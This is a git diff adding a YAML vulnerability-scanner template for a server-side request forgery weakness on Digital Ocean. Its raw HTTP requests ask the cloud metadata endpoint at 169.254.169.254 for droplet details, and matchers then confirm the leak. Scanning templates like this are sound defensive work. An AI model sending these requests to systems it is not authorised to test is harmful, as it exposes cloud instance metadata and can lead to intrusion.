diff --git a/vulnerabilities/other/digital-ocean-ssrf.yaml b/vulnerabilities/other/digital-ocean-ssrf.yaml new file mode 100644 index 0000000000..17d33e6e1f --- /dev/null +++ b/vulnerabilities/other/digital-ocean-ssrf.yaml @@ -0,0 +1,36 @@ +id: digital-ocean-ssrf + +info: + name: Digital Ocean - Server-side request forgery (SSRF) + author: DhiyaneshDk + severity: critical + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N + cvss-score: 9.3 + cwe-id: CWE-441 + tags: digitalocean,ssrf + +requests: + - raw: + - |+ + GET {{BaseURL}}/metadata/v1.json HTTP/1.1 + Host: {{Hostname}} + + - |+ + GET http://169.254.169.254/metadata/v1.json HTTP/1.1 + Host: {{Hostname}} + + stop-at-first-match: true + unsafe: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"droplet_id":' + - '"hostname":' + condition: and + + - type: status + status: + - 200